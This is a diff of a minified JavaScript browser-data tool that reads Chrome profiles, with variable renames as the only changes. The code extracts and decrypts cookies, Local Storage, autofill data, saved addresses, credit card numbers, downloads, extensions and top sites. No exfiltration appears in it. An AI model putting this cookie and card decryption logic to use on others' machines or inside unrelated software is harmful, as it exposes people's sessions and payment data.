+ FROM cookies`,k=[],Q=[];if(o)k.push("host_key LIKE ?"),Q.push(`%${o}%`);else if(p){let v=ou(p.hostname),Be=v.map(()=>"?").join(", ");k.push(`host_key IN (${Be})`),Q.push(...v)}k.length>0&&(_+=` WHERE ${k.join(" AND ")}`),_+=" ORDER BY host_key, name",h&&!s&&(_+=` LIMIT ${h}`);let mt=L(C,_,Q);for(let v of mt){if(p&&(!su(p.hostname,v.host_key||"")||!uu(p.pathname||"/",v.path||"/")||v.is_secure&&p.protocol!=="https:"))continue;let Be=v.value||"";!Be&&v.encrypted_value?.length>0&&a&&(Be=nu(T(v.encrypted_value),v.host_key||"")),D.push({profile:y.name,domain:v.host_key||"",name:v.name||"",value:Be,path:v.path||"/",expires:R(v.expires_utc||0),secure:!!v.is_secure,httpOnly:!!v.is_httponly,sameSite:["unspecified","lax","strict","none"][v.samesite]||"unspecified",created:R(v.creation_utc||0),lastAccessed:R(v.last_access_utc||0)})}}catch(_){B(i,y.name,"Cookies",_),g??=new Error(`Could not read cookies for profile "${y.name}" at ${C}: `+(_ instanceof Error?_.message:String(_)))}}if(!i&&D.length===0&&g)throw g;return q(D,u)}import{join as fi}from"node:path";import{zstdDecompressSync as gu}from"node:zlib";function we(r,e){let t=0,n=0;for(let i=e;i<r.length&&i<e+5;i++){let o=r[i];if(t|=(o&127)<<n,(o&128)===0)return{value:t>>>0,nextOffset:i+1};n+=7}return null}var Jt=64*1024*1024;function ft(r){let e=we(r,0);if(!e||e.value>Jt)throw new Error("Invalid Snappy length");let t=Buffer.alloc(e.value),n=e.nextOffset,i=0;for(;n<r.length&&i<t.length;){let o=r[n++],s=o&3;if(s===0){let c=o>>2;if(c<60)c+=1;else{let l=c-59;if(n+l>r.length)throw new Error("Invalid Snappy literal");c=1;for(let f=0;f<l;f++)c+=r[n++]<<f*8}if(n+c>r.length||i+c>t.length)throw new Error("Invalid Snappy literal length");r.copy(t,i,n,n+c),n+=c,i+=c;continue}let a,u;if(s===1){if(n>=r.length)throw new Error("Invalid Snappy copy");a=(o>>2&7)+4,u=(o&224)<<3|r[n++]}else if(s===2){if(n+2>r.length)throw new Error("Invalid Snappy copy");a=(o>>2)+1,u=r.readUInt16LE(n),n+=2}else{if(n+4>r.length)throw new Error("Invalid Snappy copy");a=(o>>2)+1,u=r.readUInt32LE(n),n+=4}if(u<=0||u>i||i+a>t.length)throw new Error("Invalid Snappy offset");for(let c=0;c<a;c++)t[i]=t[i-u],i++}if(i!==t.length)throw new Error("Truncated Snappy stream");return t}import{copyFileSync as au,readFileSync as ei,readdirSync as lu,rmSync as cu}from"node:fs";import{join as _e}from"node:path";function Qt(r){return lu(r).filter(e=>/\.(log|ldb|sst)$/i.test(e)).sort()}function ai(r,e){let t=at(e,"chrome-local-storage-");try{let n=Qt(r),i=n.map(s=>ie(_e(r,s)));try{for(let s of n)au(_e(r,s),_e(t,s))}catch(s){throw new F("snapshot_unavailable","Could not copy Local Storage. Close the browser and retry if it is open.",{cause:s})}let o=Qt(r);if(o.length!==n.length||n.some((s,a)=>s!==o[a]||!ut(i[a],ie(_e(r,s)))))throw new F("snapshot_unavailable","Local Storage changed during the copy. Close the browser and retry.");return du(t).values()}finally{cu(t,{recursive:!0,force:!0,maxRetries:3})}}var fu=0xdb4775248b80fb57n,ti=32768,li=0,ci=1;function du(r){let e=new Map,t=Qt(r);for(let n of t){let i=_e(r,n),o=ei(i);if(/\.(ldb|sst)$/i.test(n))for(let s of hu(o))ri(e,s)}for(let n of t){if(!/\.log$/i.test(n))continue;let i=_e(r,n),o=ei(i);for(let s of pu(o))ri(e,s)}return e}function ri(r,e){let t=e.key.toString("hex"),n=r.get(t);n&&n.sequence>e.sequence||r.set(t,e)}function pu(r){let e=[],t=0,n=[];for(;t+7<=r.length;){let i=ti-t%ti;if(i<7){t+=i;continue}let o=r.readUInt16LE(t+4),s=r[t+6];if(t+=7,s===0&&o===0){t+=o;continue}if(o>r.length-t||o>i-7)break;let a=r.subarray(t,t+o);t+=o,s===1?(e.push(...ni(a)),n=[]):s===2?n=[Buffer.from(a)]:s===3&&n.length>0?n.push(Buffer.from(a)):s===4&&n.length>0&&(n.push(Buffer.from(a)),e.push(...ni(Buffer.concat(n))),n=[])}return e}function ni(r){if(r.length<12)return[];let e=[],t=mu(r,0),n=r.readUInt32LE(8),i=12,o=0;for(;i<r.length&&o<n;){let s=r[i++],a=si(r,i);if(!a)break;i=a.nextOffset;let u=t+BigInt(o);if(s===ci){let c=si(r,i);if(!c)break;i=c.nextOffset,e.push({key:a.value,value:c.value,sequence:u,deleted:!1})}else if(s===li)e.push({key:a.value,sequence:u,deleted:!0});else break;o++}return e}function hu(r){let e=[];if(r.length<48||r.readBigUInt64LE(r.length-8)!==fu)return e;let n=r.subarray(r.length-48,r.length-8),i=Xt(n,0);if(!i)return e;let o=Xt(n,i.bytesRead);if(!o)return e;let s=ii(r,o);if(!s)return e;for(let a of oi(s)){let u=Xt(a.value,0);if(!u)continue;let c=ii(r,u);if(c)for(let l of oi(c)){if(l.key.length<8)continue;let f=l.key,d=f.length-8,D=f[d],p=Du(f.subarray(d)),h=f.subarray(0,d);D===ci?e.push({key:h,value:l.value,sequence:p,deleted:!1}):D===li&&e.push({key:h,sequence:p,deleted:!0})}}return e}function ii(r,e){let t=e.offset+e.size;if(e.offset<0||e.size<0||t+5>r.length)return null;let n=r.subarray(e.offset,t),i=r[t];if(i===0)return n;if(i===1)try{return ft(n)}catch{return null}return null}function oi(r){if(r.length<4)return[];let e=r.readUInt32LE(r.length-4),t=e*4+4;if(e<1||t>r.length)return[];let n=r.length-t,i=[],o=0,s=Buffer.alloc(0);for(;o<n;){let a=we(r,o);if(!a)break;o=a.nextOffset;let u=we(r,o);if(!u)break;o=u.nextOffset;let c=we(r,o);if(!c||(o=c.nextOffset,a.value>s.length||o+u.value+c.value>n))break;let l=Buffer.concat([s.subarray(0,a.value),r.subarray(o,o+u.value)]);o+=u.value;let f=Buffer.from(r.subarray(o,o+c.value));o+=c.value,i.push({key:l,value:f}),s=l}return i}function Xt(r,e){let t=ui(r,e);if(!t)return null;let n=ui(r,t.nextOffset);return!n||t.value>BigInt(Number.MAX_SAFE_INTEGER)||n.value>BigInt(Number.MAX_SAFE_INTEGER)?null:{offset:Number(t.value),size:Number(n.value),bytesRead:n.nextOffset-e}}function si(r,e){let t=we(r,e);if(!t)return null;let n=t.nextOffset+t.value;return n>r.length?null:{value:Buffer.from(r.subarray(t.nextOffset,n)),nextOffset:n}}function ui(r,e){let t=0n,n=0n;for(let i=e;i<r.length&&i<e+10;i++){let o=r[i];if(t|=BigInt(o&127)<<n,(o&128)===0)return{value:t,nextOffset:i+1};n+=7n}return null}function mu(r,e){let t=0n;for(let n=0;n<8;n++)t|=BigInt(r[e+n]||0)<<BigInt(n*8);return t}function Du(r){let e=0n;for(let t=1;t<8;t++)e|=BigInt(r[t]||0)<<BigInt((t-1)*8);return e}function*di(r){let e=fi(r,"LocalStorage");if(ie(e)){let t=L(e,`SELECT maps.storage_key, map_entries.key,
64
64
  map_entries.value, map_entries.value_compression_type
65
- FROM map_entries JOIN maps ON maps.row_id = map_entries.map_id`);for(let n of t){if(!Buffer.isBuffer(n.storage_key)||!Buffer.isBuffer(n.key)||!Buffer.isBuffer(n.value))throw new F("unsupported_schema","Unexpected LocalStorage record encoding.");let i=n.storage_key.toString("utf8");yield{origin:i.includes("^")||i==="file:///"?i:i.replace(/\/$/,""),key:dt(n.key),value:dt(yu(n.value,n.value_compression_type))}}return}for(let t of ai(fi(r,"Local Storage","leveldb"),r)){if(t.deleted||!t.value)continue;let n=Cu(t.key,t.value);n&&(yield n)}}function yu(r,e){switch(e){case 0:return r;case 1:return gu(r,{maxOutputLength:Jt});case 2:return ft(r);default:throw new F("unsupported_schema","Unknown LocalStorage value compression type.")}}function Cu(r,e){if(r.length<3||r[0]!==95)return null;let t=r.indexOf(0,1);if(t===-1)return null;let n=r.subarray(1,t).toString("utf8"),i=dt(r.subarray(t+1)),o=dt(e);return n?{origin:n,key:i,value:o}:null}function dt(r){if(r.length===0)return"";let e=r[0],t=r.subarray(1);return e===0&&t.length%2===0?t.toString("utf16le"):e===1?t.toString("latin1"):r.toString("utf8")}function pi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,origin:o,url:s,key:a,search:u,limit:c=100}={}){let l=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),f=[],d=Eu(s||o),m=a?.toLowerCase(),p=u?.toLowerCase();for(let h of l)try{for(let g of di(h.path)){let y={profile:h.name,...g};d&&!y.origin.toLowerCase().includes(d)||m&&!y.key.toLowerCase().includes(m)||p&&!`${y.origin}
65
+ FROM map_entries JOIN maps ON maps.row_id = map_entries.map_id`);for(let n of t){if(!Buffer.isBuffer(n.storage_key)||!Buffer.isBuffer(n.key)||!Buffer.isBuffer(n.value))throw new F("unsupported_schema","Unexpected LocalStorage record encoding.");let i=n.storage_key.toString("utf8");yield{origin:i.includes("^")||i==="file:///"?i:i.replace(/\/$/,""),key:dt(n.key),value:dt(yu(n.value,n.value_compression_type))}}return}for(let t of ai(fi(r,"Local Storage","leveldb"),r)){if(t.deleted||!t.value)continue;let n=Cu(t.key,t.value);n&&(yield n)}}function yu(r,e){switch(e){case 0:return r;case 1:return gu(r,{maxOutputLength:Jt});case 2:return ft(r);default:throw new F("unsupported_schema","Unknown LocalStorage value compression type.")}}function Cu(r,e){if(r.length<3||r[0]!==95)return null;let t=r.indexOf(0,1);if(t===-1)return null;let n=r.subarray(1,t).toString("utf8"),i=dt(r.subarray(t+1)),o=dt(e);return n?{origin:n,key:i,value:o}:null}function dt(r){if(r.length===0)return"";let e=r[0],t=r.subarray(1);return e===0&&t.length%2===0?t.toString("utf16le"):e===1?t.toString("latin1"):r.toString("utf8")}function pi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,origin:o,url:s,key:a,search:u,limit:c=100}={}){let l=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),f=[],d=Eu(s||o),D=a?.toLowerCase(),p=u?.toLowerCase();for(let h of l)try{for(let g of di(h.path)){let y={profile:h.name,...g};d&&!y.origin.toLowerCase().includes(d)||D&&!y.key.toLowerCase().includes(D)||p&&!`${y.origin}
66
66
  ${y.key}
67
- ${y.value}`.toLowerCase().includes(p)||f.push(y)}}catch(g){B(i,h.name,"Local Storage",g)}return f.sort((h,g)=>h.profile.localeCompare(g.profile)||h.origin.localeCompare(g.origin)||h.key.localeCompare(g.key)),q(f,c)}function Eu(r){if(r)try{return new URL(r).origin.toLowerCase()}catch{return r.toLowerCase()}}var H={firstName:3,middleName:4,lastName:5,fullName:7,email:9,phone:14,line1:30,line2:31,city:33,state:34,zipcode:35,countryCode:36,companyName:60,streetAddress:77},hi=["guid","use_count","use_date","date_modified"],mi=["guid","type","value"];function oe(r,e,t){let n=new Set(r("SELECT name FROM pragma_table_info(?)",[e]).map(i=>i.name));return t.every(i=>n.has(i))}function gi(r){return R(r?BigInt(r)*1000000n+11644473600000000n:0)}function Di(r,e,t,n){let i=new Map;for(let o of r("SELECT guid, type, value FROM "+n)){let s=i.get(o.guid);s||(s=new Map,i.set(o.guid,s)),s.set(o.type,o.value)}return r("SELECT guid, use_count, use_date, date_modified FROM "+t).map(o=>{let s=a=>i.get(o.guid)?.get(a)||"";return{useDate:o.use_date,entry:{profile:e,guid:o.guid,fullName:s(H.fullName)||[H.firstName,H.middleName,H.lastName].map(s).filter(Boolean).join(" "),email:s(H.email),phone:s(H.phone),companyName:s(H.companyName),streetAddress:s(H.streetAddress)||[H.line1,H.line2].map(s).filter(Boolean).join(`
68
- `),city:s(H.city),state:s(H.state),zipcode:s(H.zipcode),countryCode:s(H.countryCode),origin:"",useCount:o.use_count||0,dateModified:gi(o.date_modified)}}})}function bu(r,e){let t=oe(r,"autofill_profile_names",["guid","first_name","middle_name","last_name","full_name"])?r("SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names"):[],n=oe(r,"autofill_profile_emails",["guid","email"])?r("SELECT guid, email FROM autofill_profile_emails"):[],i=oe(r,"autofill_profile_phones",["guid","number"])?r("SELECT guid, number FROM autofill_profile_phones"):[],o=new Map(t.map(u=>[u.guid,u.full_name||[u.first_name,u.middle_name,u.last_name].filter(Boolean).join(" ")])),s=new Map(n.map(u=>[u.guid,u.email])),a=new Map(i.map(u=>[u.guid,u.number]));return r("SELECT * FROM autofill_profiles ORDER BY use_date DESC").map(u=>({profile:e,guid:u.guid||"",fullName:o.get(u.guid)||"",email:s.get(u.guid)||"",phone:a.get(u.guid)||"",companyName:u.company_name||"",streetAddress:u.street_address||"",city:u.city||"",state:u.state||"",zipcode:u.zipcode||"",countryCode:u.country_code||"",origin:u.origin||"",useCount:u.use_count||0,dateModified:gi(u.date_modified)}))}function yi(r,e){return Yt(r,t=>{if(oe(t,"addresses",hi)&&oe(t,"address_type_tokens",mi))return Di(t,e,"addresses","address_type_tokens").sort((o,s)=>s.useDate-o.useDate).map(({entry:o})=>o);let i=[["local_addresses","local_addresses_type_tokens"],["contact_info","contact_info_type_tokens"]].filter(([o,s])=>oe(t,o,hi)&&oe(t,s,mi));if(i.length)return i.flatMap(([o,s])=>Di(t,e,o,s)).sort((o,s)=>s.useDate-o.useDate).map(({entry:o})=>o);if(oe(t,"autofill_profiles",["guid","use_date"]))return bu(t,e);throw new F("unsupported_schema","Unrecognized saved-address schema in Web Data.")})}import{join as Zt}from"node:path";function Ci({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,search:o,limit:s=100}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),u=[],c=X(s);for(let l of a){let f=Zt(l.path,"Web Data");try{let d="SELECT name, value, date_created, date_last_used, count FROM autofill",m=[];if(o){d+=" WHERE IFNULL(name, '') LIKE ? ESCAPE '\\' OR IFNULL(value, '') LIKE ? ESCAPE '\\'";let h=be(o);m.push(h,h)}d+=" ORDER BY date_last_used DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,m);for(let h of p)u.push({profile:l.name,name:h.name||"",value:h.value||"",dateCreated:R(h.date_created?BigInt(h.date_created)*1000000n+11644473600000000n:0),dateLastUsed:R(h.date_last_used?BigInt(h.date_last_used)*1000000n+11644473600000000n:0),count:h.count||0})}catch(d){B(i,l.name,"Web Data",d)}}return q(u,s)}function Ei({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,decryptionKey:o}={}){let s=e||r,a=n??A().id,u=x({chromeDir:r,profilePath:e,profile:t,browser:a,onDiagnostic:i}),c=[];for(let l of u){let f=Zt(l.path,"Web Data"),d=Ee(s??l.path,a,o,i,l.name,"Web Data");try{let m=L(f,`SELECT guid, name_on_card, expiration_month, expiration_year,
67
+ ${y.value}`.toLowerCase().includes(p)||f.push(y)}}catch(g){B(i,h.name,"Local Storage",g)}return f.sort((h,g)=>h.profile.localeCompare(g.profile)||h.origin.localeCompare(g.origin)||h.key.localeCompare(g.key)),q(f,c)}function Eu(r){if(r)try{return new URL(r).origin.toLowerCase()}catch{return r.toLowerCase()}}var j={firstName:3,middleName:4,lastName:5,fullName:7,email:9,phone:14,line1:30,line2:31,city:33,state:34,zipcode:35,countryCode:36,companyName:60,streetAddress:77},hi=["guid","use_count","use_date","date_modified"],mi=["guid","type","value"];function oe(r,e,t){let n=new Set(r("SELECT name FROM pragma_table_info(?)",[e]).map(i=>i.name));return t.every(i=>n.has(i))}function gi(r){return R(r?BigInt(r)*1000000n+11644473600000000n:0)}function Di(r,e,t,n){let i=new Map;for(let o of r("SELECT guid, type, value FROM "+n)){let s=i.get(o.guid);s||(s=new Map,i.set(o.guid,s)),s.set(o.type,o.value)}return r("SELECT guid, use_count, use_date, date_modified FROM "+t).map(o=>{let s=a=>i.get(o.guid)?.get(a)||"";return{useDate:o.use_date,entry:{profile:e,guid:o.guid,fullName:s(j.fullName)||[j.firstName,j.middleName,j.lastName].map(s).filter(Boolean).join(" "),email:s(j.email),phone:s(j.phone),companyName:s(j.companyName),streetAddress:s(j.streetAddress)||[j.line1,j.line2].map(s).filter(Boolean).join(`
68
+ `),city:s(j.city),state:s(j.state),zipcode:s(j.zipcode),countryCode:s(j.countryCode),origin:"",useCount:o.use_count||0,dateModified:gi(o.date_modified)}}})}function bu(r,e){let t=oe(r,"autofill_profile_names",["guid","first_name","middle_name","last_name","full_name"])?r("SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names"):[],n=oe(r,"autofill_profile_emails",["guid","email"])?r("SELECT guid, email FROM autofill_profile_emails"):[],i=oe(r,"autofill_profile_phones",["guid","number"])?r("SELECT guid, number FROM autofill_profile_phones"):[],o=new Map(t.map(u=>[u.guid,u.full_name||[u.first_name,u.middle_name,u.last_name].filter(Boolean).join(" ")])),s=new Map(n.map(u=>[u.guid,u.email])),a=new Map(i.map(u=>[u.guid,u.number]));return r("SELECT * FROM autofill_profiles ORDER BY use_date DESC").map(u=>({profile:e,guid:u.guid||"",fullName:o.get(u.guid)||"",email:s.get(u.guid)||"",phone:a.get(u.guid)||"",companyName:u.company_name||"",streetAddress:u.street_address||"",city:u.city||"",state:u.state||"",zipcode:u.zipcode||"",countryCode:u.country_code||"",origin:u.origin||"",useCount:u.use_count||0,dateModified:gi(u.date_modified)}))}function yi(r,e){return Yt(r,t=>{if(oe(t,"addresses",hi)&&oe(t,"address_type_tokens",mi))return Di(t,e,"addresses","address_type_tokens").sort((o,s)=>s.useDate-o.useDate).map(({entry:o})=>o);let i=[["local_addresses","local_addresses_type_tokens"],["contact_info","contact_info_type_tokens"]].filter(([o,s])=>oe(t,o,hi)&&oe(t,s,mi));if(i.length)return i.flatMap(([o,s])=>Di(t,e,o,s)).sort((o,s)=>s.useDate-o.useDate).map(({entry:o})=>o);if(oe(t,"autofill_profiles",["guid","use_date"]))return bu(t,e);throw new F("unsupported_schema","Unrecognized saved-address schema in Web Data.")})}import{join as Zt}from"node:path";function Ci({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,search:o,limit:s=100}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),u=[],c=X(s);for(let l of a){let f=Zt(l.path,"Web Data");try{let d="SELECT name, value, date_created, date_last_used, count FROM autofill",D=[];if(o){d+=" WHERE IFNULL(name, '') LIKE ? ESCAPE '\\' OR IFNULL(value, '') LIKE ? ESCAPE '\\'";let h=be(o);D.push(h,h)}d+=" ORDER BY date_last_used DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,D);for(let h of p)u.push({profile:l.name,name:h.name||"",value:h.value||"",dateCreated:R(h.date_created?BigInt(h.date_created)*1000000n+11644473600000000n:0),dateLastUsed:R(h.date_last_used?BigInt(h.date_last_used)*1000000n+11644473600000000n:0),count:h.count||0})}catch(d){B(i,l.name,"Web Data",d)}}return q(u,s)}function Ei({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,decryptionKey:o}={}){let s=e||r,a=n??A().id,u=x({chromeDir:r,profilePath:e,profile:t,browser:a,onDiagnostic:i}),c=[];for(let l of u){let f=Zt(l.path,"Web Data"),d=Ee(s??l.path,a,o,i,l.name,"Web Data");try{let D=L(f,`SELECT guid, name_on_card, expiration_month, expiration_year,
69
69
  card_number_encrypted, date_modified, origin, use_count,
70
70
  nickname
71
- FROM credit_cards ORDER BY use_date DESC`);for(let p of m){let h="";if(p.card_number_encrypted?.length>0){let g=d(p.card_number_encrypted);h=Buffer.isBuffer(g)?g.toString("utf8"):g}c.push({profile:l.name,guid:p.guid||"",nameOnCard:p.name_on_card||"",expirationMonth:p.expiration_month||0,expirationYear:p.expiration_year||0,cardNumber:h,nickname:p.nickname||"",origin:p.origin||"",useCount:p.use_count||0,dateModified:R(p.date_modified?BigInt(p.date_modified)*1000000n+11644473600000000n:0)})}}catch(m){B(i,l.name,"Web Data",m)}}return c}function bi(r={}){let e=[];for(let t of x(r))try{for(let n of yi(Zt(t.path,"Web Data"),t.name))e.push(n)}catch(n){B(r.onDiagnostic,t.name,"Web Data",n)}return e}import{join as wu}from"node:path";var _u={0:"in_progress",1:"complete",2:"cancelled",3:"interrupted"},Fu={0:"not_dangerous",1:"dangerous_file",2:"dangerous_url",3:"dangerous_content",4:"maybe_dangerous_content",5:"uncommon_content",6:"user_validated",7:"dangerous_host",8:"potentially_unwanted",9:"allowlisted_by_policy"};function wi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,search:o,limit:s=100}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),u=[],c=X(s);for(let l of a){let f=wu(l.path,"History");try{let d=`SELECT target_path, tab_url, total_bytes, received_bytes,
71
+ FROM credit_cards ORDER BY use_date DESC`);for(let p of D){let h="";if(p.card_number_encrypted?.length>0){let g=d(p.card_number_encrypted);h=Buffer.isBuffer(g)?g.toString("utf8"):g}c.push({profile:l.name,guid:p.guid||"",nameOnCard:p.name_on_card||"",expirationMonth:p.expiration_month||0,expirationYear:p.expiration_year||0,cardNumber:h,nickname:p.nickname||"",origin:p.origin||"",useCount:p.use_count||0,dateModified:R(p.date_modified?BigInt(p.date_modified)*1000000n+11644473600000000n:0)})}}catch(D){B(i,l.name,"Web Data",D)}}return c}function bi(r={}){let e=[];for(let t of x(r))try{for(let n of yi(Zt(t.path,"Web Data"),t.name))e.push(n)}catch(n){B(r.onDiagnostic,t.name,"Web Data",n)}return e}import{join as wu}from"node:path";var _u={0:"in_progress",1:"complete",2:"cancelled",3:"interrupted"},Fu={0:"not_dangerous",1:"dangerous_file",2:"dangerous_url",3:"dangerous_content",4:"maybe_dangerous_content",5:"uncommon_content",6:"user_validated",7:"dangerous_host",8:"potentially_unwanted",9:"allowlisted_by_policy"};function wi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i,search:o,limit:s=100}={}){let a=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),u=[],c=X(s);for(let l of a){let f=wu(l.path,"History");try{let d=`SELECT target_path, tab_url, total_bytes, received_bytes,
72
72
  start_time, end_time, mime_type, original_mime_type,
73
73
  state, danger_type, opened, referrer, site_url
74
- FROM downloads`,m=[];if(o){d+=` WHERE IFNULL(target_path, '') LIKE ? ESCAPE '\\'
75
- OR IFNULL(tab_url, '') LIKE ? ESCAPE '\\'`;let h=be(o);m.push(h,h)}d+=" ORDER BY start_time DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,m);for(let h of p)u.push({profile:l.name,targetPath:h.target_path||"",url:h.tab_url||"",siteUrl:h.site_url||"",referrer:h.referrer||"",totalBytes:h.total_bytes||0,receivedBytes:h.received_bytes||0,mimeType:h.mime_type||h.original_mime_type||"",state:_u[h.state]||`unknown(${h.state})`,dangerType:Fu[h.danger_type]||`unknown(${h.danger_type})`,opened:!!h.opened,startTime:R(h.start_time||0),endTime:R(h.end_time||0)})}catch(d){B(i,l.name,"History",d)}}return q(u,s)}import{existsSync as Bu,readFileSync as Su}from"node:fs";import{join as xu}from"node:path";function _i({chromeDir:r,profilePath:e,profile:t,search:n,browser:i,onDiagnostic:o}={}){let s=x({chromeDir:r,profilePath:e,profile:t,browser:i,onDiagnostic:o}),a=[];for(let u of s){let c=null;for(let l of["Secure Preferences","Preferences"]){let f=xu(u.path,l);if(Bu(f))try{let m=JSON.parse(Su(f,"utf-8"))?.extensions?.settings;if(m&&typeof m=="object"){c=m;break}}catch(d){B(o,u.name,l,d instanceof SyntaxError?new Error("Invalid preferences JSON."):d)}}if(c)for(let[l,f]of Object.entries(c)){let d=f;if(d.location===5||d.location===10)continue;let m=d.manifest||{},p={profile:u.name,id:l,name:m.name||d.name||l,version:m.version||d.version||"unknown",description:m.description||"",enabled:d.state===1,homepageUrl:m.homepage_url||"",updateUrl:m.update_url||"",installTime:d.install_time||"",fromWebstore:d.from_webstore||!1,location:d.location||0};if(p.name.startsWith("__MSG_")&&(p.name=l),p.description.startsWith("__MSG_")&&(p.description=""),n){let h=n.toLowerCase();if(!(p.name&&p.name.toLowerCase().includes(h))&&!(p.id&&p.id.toLowerCase().includes(h)))continue}a.push(p)}}return a}import{join as Au}from"node:path";function Fi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}={}){let o=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),s=[];for(let a of o){let u=Au(a.path,"Web Data");try{let c=L(u,`SELECT id, short_name, keyword, url, suggestions_url,
74
+ FROM downloads`,D=[];if(o){d+=` WHERE IFNULL(target_path, '') LIKE ? ESCAPE '\\'
75
+ OR IFNULL(tab_url, '') LIKE ? ESCAPE '\\'`;let h=be(o);D.push(h,h)}d+=" ORDER BY start_time DESC",c&&(d+=` LIMIT ${c}`);let p=L(f,d,D);for(let h of p)u.push({profile:l.name,targetPath:h.target_path||"",url:h.tab_url||"",siteUrl:h.site_url||"",referrer:h.referrer||"",totalBytes:h.total_bytes||0,receivedBytes:h.received_bytes||0,mimeType:h.mime_type||h.original_mime_type||"",state:_u[h.state]||`unknown(${h.state})`,dangerType:Fu[h.danger_type]||`unknown(${h.danger_type})`,opened:!!h.opened,startTime:R(h.start_time||0),endTime:R(h.end_time||0)})}catch(d){B(i,l.name,"History",d)}}return q(u,s)}import{existsSync as Bu,readFileSync as Su}from"node:fs";import{join as xu}from"node:path";function _i({chromeDir:r,profilePath:e,profile:t,search:n,browser:i,onDiagnostic:o}={}){let s=x({chromeDir:r,profilePath:e,profile:t,browser:i,onDiagnostic:o}),a=[];for(let u of s){let c=null;for(let l of["Secure Preferences","Preferences"]){let f=xu(u.path,l);if(Bu(f))try{let D=JSON.parse(Su(f,"utf-8"))?.extensions?.settings;if(D&&typeof D=="object"){c=D;break}}catch(d){B(o,u.name,l,d instanceof SyntaxError?new Error("Invalid preferences JSON."):d)}}if(c)for(let[l,f]of Object.entries(c)){let d=f;if(d.location===5||d.location===10)continue;let D=d.manifest||{},p={profile:u.name,id:l,name:D.name||d.name||l,version:D.version||d.version||"unknown",description:D.description||"",enabled:d.state===1,homepageUrl:D.homepage_url||"",updateUrl:D.update_url||"",installTime:d.install_time||"",fromWebstore:d.from_webstore||!1,location:d.location||0};if(p.name.startsWith("__MSG_")&&(p.name=l),p.description.startsWith("__MSG_")&&(p.description=""),n){let h=n.toLowerCase();if(!(p.name&&p.name.toLowerCase().includes(h))&&!(p.id&&p.id.toLowerCase().includes(h)))continue}a.push(p)}}return a}import{join as Au}from"node:path";function Fi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}={}){let o=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),s=[];for(let a of o){let u=Au(a.path,"Web Data");try{let c=L(u,`SELECT id, short_name, keyword, url, suggestions_url,
76
76
  favicon_url, prepopulate_id, is_active
77
77
  FROM keywords ORDER BY short_name`);for(let l of c)s.push({profile:a.name,id:l.id,name:l.short_name||"",keyword:l.keyword||"",url:l.url||"",suggestionsUrl:l.suggestions_url||"",faviconUrl:l.favicon_url||"",isDefault:l.prepopulate_id===1,isActive:l.is_active===1})}catch(c){B(i,a.name,"Web Data",c)}}return s}import{join as Ou}from"node:path";function Bi({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}={}){let o=x({chromeDir:r,profilePath:e,profile:t,browser:n,onDiagnostic:i}),s=[];for(let a of o){let u=Ou(a.path,"Top Sites");try{let c=L(u,`SELECT url, url_rank, title, redirects
78
- FROM top_sites ORDER BY url_rank ASC`);for(let l of c)s.push({profile:a.name,url:l.url||"",title:l.title||"",rank:l.url_rank??0,redirects:l.redirects||""})}catch(c){B(i,a.name,"Top Sites",c)}}return s}var vu=process.env.PROFILE_PATH||void 0,ku=process.env.PROFILE_NAME||void 0,Si=process.env.BROWSER||process.env.CHROME_BROWSER||void 0;function pt(r){console.log(JSON.stringify(r,null,2))}function He(r,e){return new xi.default({head:r.map(t=>D.bold.white(t)),colWidths:e,wordWrap:!0,style:{border:["grey"],head:[]}})}function Ru(r){return rt(r)?(console.error(D.red.bold(`
78
+ FROM top_sites ORDER BY url_rank ASC`);for(let l of c)s.push({profile:a.name,url:l.url||"",title:l.title||"",rank:l.url_rank??0,redirects:l.redirects||""})}catch(c){B(i,a.name,"Top Sites",c)}}return s}var vu=process.env.PROFILE_PATH||void 0,ku=process.env.PROFILE_NAME||void 0,Si=process.env.BROWSER||process.env.CHROME_BROWSER||void 0;function pt(r){console.log(JSON.stringify(r,null,2))}function je(r,e){return new xi.default({head:r.map(t=>m.bold.white(t)),colWidths:e,wordWrap:!0,style:{border:["grey"],head:[]}})}function Ru(r){return rt(r)?(console.error(m.red.bold(`
79
79
  \u{1F511} No keychain access
80
- `)),console.error(D.yellow(`chrome-tools couldn't read the browser's encryption key from your macOS
81
- Keychain, so passwords and other encrypted data can't be decrypted.`)),console.error(D.dim(`
80
+ `)),console.error(m.yellow(`chrome-tools couldn't read the browser's encryption key from your macOS
81
+ Keychain, so passwords and other encrypted data can't be decrypted.`)),console.error(m.dim(`
82
82
  `+r.message+`
83
- `)),!0):!1}function je(r,e){console.log(e===0?D.yellow(`
83
+ `)),!0):!1}function He(r,e){console.log(e===0?m.yellow(`
84
84
  \u26A0 No ${r} found.
85
- `):D.green(`
85
+ `):m.green(`
86
86
  \u2714 Found ${e} ${r}.
87
- `))}function tr(r,e){if(!e||r.diagnostics)return;let t=$n(r.profilePath,r.browser);t&&console.error(D.yellow(`\u26A0 ${t}
88
- `))}function U(r,e,t,n,i,o,s){if(Ve(r,e))return;if(e.length===0)return je(n,0);console.log(D.bold(`
87
